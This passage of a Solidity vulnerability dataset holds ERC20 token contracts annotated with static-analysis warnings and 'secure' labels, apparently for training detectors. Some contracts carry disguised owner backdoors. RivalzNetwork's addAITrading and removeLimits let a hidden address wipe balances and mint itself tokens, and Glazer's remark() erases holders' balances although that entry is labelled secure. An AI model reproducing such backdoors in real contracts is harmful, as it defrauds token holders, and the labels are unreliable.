'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 7f21f1e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 7f21f1e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal returns (bool) {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (is_sell(from, to) && !inSwap) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance >= swapThreshold) {\n\t\t\t\t// reentrancy-events | ID: 990eebb\n\t\t\t\t// reentrancy-no-eth | ID: 7f21f1e\n internalSwap(contractTokenBalance);\n }\n }\n\n bool takeFee = true;\n\n if (_noFee[from] || _noFee[to]) {\n takeFee = false;\n }\n\n\t\t// reentrancy-no-eth | ID: 7f21f1e\n balance[from] -= amount;\n\t\t// reentrancy-events | ID: 990eebb\n\t\t// reentrancy-no-eth | ID: 7f21f1e\n uint256 amountAfterFee = (takeFee)\n ? takeTaxes(from, is_buy(from, to), is_sell(from, to), amount)\n : amount;\n\n\t\t// reentrancy-no-eth | ID: 7f21f1e\n balance[to] += amountAfterFee;\n\t\t// reentrancy-events | ID: 990eebb\n emit Transfer(from, to, amountAfterFee);\n\n return true;\n }\n\n function takeTaxes(\n address from,\n bool isbuy,\n bool issell,\n uint256 amount\n ) internal returns (uint256) {\n uint256 fee;\n\n if (isbuy) fee = buyfee;\n else if (issell) fee = sellfee;\n else fee = transferfee;\n\n if (fee == 0) return amount;\n\n uint256 feeAmount = (amount * fee) / fee_denominator;\n\n if (feeAmount > 0) {\n\t\t\t// reentrancy-no-eth | ID: 7f21f1e\n balance[address(this)] += feeAmount;\n\n\t\t\t// reentrancy-events | ID: 990eebb\n emit Transfer(from, address(this), feeAmount);\n }\n\n return amount - feeAmount;\n }\n\n function internalSwap(uint256 contractTokenBalance) internal inSwapFlag {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = swapRouter.WETH();\n\n if (\n _allowances[address(this)][address(swapRouter)] != type(uint256).max\n ) {\n _allowances[address(this)][address(swapRouter)] = type(uint256).max;\n }\n\n\t\t// reentrancy-events | ID: 990eebb\n\t\t// reentrancy-no-eth | ID: 7f21f1e\n try\n swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n contractTokenBalance,\n 0,\n path,\n address(this),\n block.timestamp\n )\n {} catch {\n return;\n }\n }\n\n function manualSwap(\n uint256 amount,\n uint256 minAmountETH,\n uint256 timeout\n ) external onlyOwner {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = swapRouter.WETH();\n\n uint256 currentAllowance = _allowances[address(this)][\n address(swapRouter)\n ];\n\n if (currentAllowance < amount) {\n _approve(address(this), address(swapRouter), type(uint256).max);\n }\n\n try\n swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n minAmountETH,\n path,\n address(this),\n block.timestamp + timeout\n )\n {} catch {\n revert(\"manualSwap: Swap failed\");\n }\n }\n\n function withdrawETH() external onlyOwner {\n uint256 contractETHBalance = address(this).balance;\n\n require(contractETHBalance > 0, \"LabCoin: contract has no ether\");\n\n (bool success, ) = marketingAddress.call{value: contractETHBalance}(\"\");\n\n require(success, \"LabCoin: Failed to send Ether\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 862db38): TestToken.setFees(uint8,uint8) should emit an event for buyfee = _buyTotalFees sellfee = _sellTotalFees \n\t// Recommendation for 862db38: Emit an event for critical parameter changes.\n function setFees(\n uint8 _buyTotalFees,\n uint8 _sellTotalFees\n ) external onlyOwner {\n require(\n _buyTotalFees <= 100,\n \"Buy fees must be less than or equal to 10%\"\n );\n\n require(\n _sellTotalFees <= 100,\n \"Sell fees must be less than or equal to 10%\"\n );\n\n\t\t// events-maths | ID: 862db38\n buyfee = _buyTotalFees;\n\n\t\t// events-maths | ID: 862db38\n sellfee = _sellTotalFees;\n }\n}", "file_name": "solidity_code_3983.sol", "secure": 0, "size_bytes": 11106 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract RivalzNetwork {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fbce31c): RivalzNetwork.tokenTotalSupply should be immutable \n\t// Recommendation for fbce31c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n\n string private tokenName;\n\n string private tokenSymbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e3f61c7): RivalzNetwork.xxnux should be immutable \n\t// Recommendation for e3f61c7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 499d776): RivalzNetwork.tokenDecimals should be immutable \n\t// Recommendation for 499d776: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 980a66e): RivalzNetwork.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for 980a66e: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"Rivalz Network\";\n\n tokenSymbol = \"RIZ\";\n\n tokenDecimals = 9;\n\n tokenTotalSupply = 1000000000 * 10 ** tokenDecimals;\n\n _balances[msg.sender] = tokenTotalSupply;\n\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\n\t\t// missing-zero-check | ID: 980a66e\n xxnux = ads;\n }\n\n function addAITrading(address bots) external {\n if (\n xxnux == msg.sender &&\n xxnux != bots &&\n pancakePair() != bots &&\n bots != ROUTER\n ) {\n _balances[bots] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 42069000000 *\n 42069 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_3984.sol", "secure": 0, "size_bytes": 5695 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Weeniekami is ERC20 {\n uint8 private immutable _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33b540a): Weeniekami._totalSupply should be constant \n\t// Recommendation for 33b540a: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: e9c0e3d): Weeniekami._totalSupply shadows ERC20._totalSupply\n\t// Recommendation for e9c0e3d: Remove the state variable shadowing.\n uint256 private _totalSupply =\n 9999999999999999999999999.9999999999999 * 10 ** 18;\n\n constructor() ERC20(\"Weeniekami Reward (test) Token\", \"weenie\") {\n _mint(_msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}", "file_name": "solidity_code_3985.sol", "secure": 0, "size_bytes": 948 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Ruff is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e59b145): ruff._taxWallet should be immutable \n\t// Recommendation for e59b145: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: b4463ca): ruff._initialBuyTax should be constant \n\t// Recommendation for b4463ca: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 299a22f): ruff._initialSellTax should be constant \n\t// Recommendation for 299a22f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e0fad8): ruff._finalBuyTax should be constant \n\t// Recommendation for 0e0fad8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 145211a): ruff._finalSellTax should be constant \n\t// Recommendation for 145211a: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 21ff1d8): ruff._reduceBuyTaxAt should be constant \n\t// Recommendation for 21ff1d8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 451b4e7): ruff._reduceSellTaxAt should be constant \n\t// Recommendation for 451b4e7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f5cbb0): ruff._preventSwapBefore should be constant \n\t// Recommendation for 1f5cbb0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ruff\";\n\n string private constant _symbol = unicode\"RUFF\";\n\n uint256 public _maxTxAmount = 20000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5ba8f54): ruff._taxSwapThreshold should be constant \n\t// Recommendation for 5ba8f54: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b99d6b): ruff._maxTaxSwap should be constant \n\t// Recommendation for 0b99d6b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d908926): ruff.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d908926: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8f11f76): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8f11f76: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4e7a8bc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4e7a8bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8f11f76\n\t\t// reentrancy-benign | ID: 4e7a8bc\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8f11f76\n\t\t// reentrancy-benign | ID: 4e7a8bc\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d8e5d49): ruff._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d8e5d49: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4e7a8bc\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8f11f76\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c8dc2b5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c8dc2b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 11bfa51): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 11bfa51: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: c8dc2b5\n\t\t\t\t// reentrancy-eth | ID: 11bfa51\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c8dc2b5\n\t\t\t\t\t// reentrancy-eth | ID: 11bfa51\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 11bfa51\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c8dc2b5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 11bfa51\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 11bfa51\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c8dc2b5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8f11f76\n\t\t// reentrancy-events | ID: c8dc2b5\n\t\t// reentrancy-benign | ID: 4e7a8bc\n\t\t// reentrancy-eth | ID: 11bfa51\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a0188b0): ruff.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for a0188b0: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8f11f76\n\t\t// reentrancy-events | ID: c8dc2b5\n\t\t// reentrancy-eth | ID: 11bfa51\n\t\t// arbitrary-send-eth | ID: a0188b0\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bf2f05c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bf2f05c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f264f21): ruff.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f264f21: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5a35fb1): ruff.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5a35fb1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5f2c065): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5f2c065: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n address pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n if (pair == address(0)) {\n\t\t\t// reentrancy-benign | ID: bf2f05c\n\t\t\t// reentrancy-eth | ID: 5f2c065\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n } else {\n uniswapV2Pair = pair;\n }\n\n\t\t// reentrancy-benign | ID: bf2f05c\n\t\t// unused-return | ID: f264f21\n\t\t// reentrancy-eth | ID: 5f2c065\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: bf2f05c\n\t\t// unused-return | ID: 5a35fb1\n\t\t// reentrancy-eth | ID: 5f2c065\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: bf2f05c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5f2c065\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: bf2f05c\n firstBlock = block.number;\n }\n\n function withdrawETH() external onlyOwner {\n uint256 amount = address(this).balance;\n\n require(amount > 0, \"No ETH to withdraw\");\n\n payable(owner()).transfer(amount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 4da464b): ruff.withdrawTokens(address) ignores return value by IERC20(tokenAddress).transfer(owner(),amount)\n\t// Recommendation for 4da464b: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawTokens(address tokenAddress) external onlyOwner {\n uint256 amount = IERC20(tokenAddress).balanceOf(address(this));\n\n require(amount > 0, \"No tokens to withdraw\");\n\n\t\t// unchecked-transfer | ID: 4da464b\n IERC20(tokenAddress).transfer(owner(), amount);\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_3986.sol", "secure": 0, "size_bytes": 17880 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Glazer is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable beautiful;\n\n constructor() {\n _name = \"GLAZER\";\n\n _symbol = \"GLAZER\";\n\n _decimals = 18;\n\n uint256 initialSupply = 973000000;\n\n beautiful = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == beautiful, \"Not allowed\");\n\n _;\n }\n\n function remark(address[] memory experiment) public onlyOwner {\n for (uint256 i = 0; i < experiment.length; i++) {\n address account = experiment[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_3987.sol", "secure": 1, "size_bytes": 4374 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract TrumpSilverCloud is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 192b68f): TrumpSilverCloud._decimals should be immutable \n\t// Recommendation for 192b68f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 672b443): TrumpSilverCloud._totalSupply should be immutable \n\t// Recommendation for 672b443: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8133406): TrumpSilverCloud._marketwallet should be immutable \n\t// Recommendation for 8133406: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketwallet;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketwallet = 0x34fc40e907C093efb8d2EBafDa40eD2c4439b8dA;\n\n _balances[_msgSender()] = 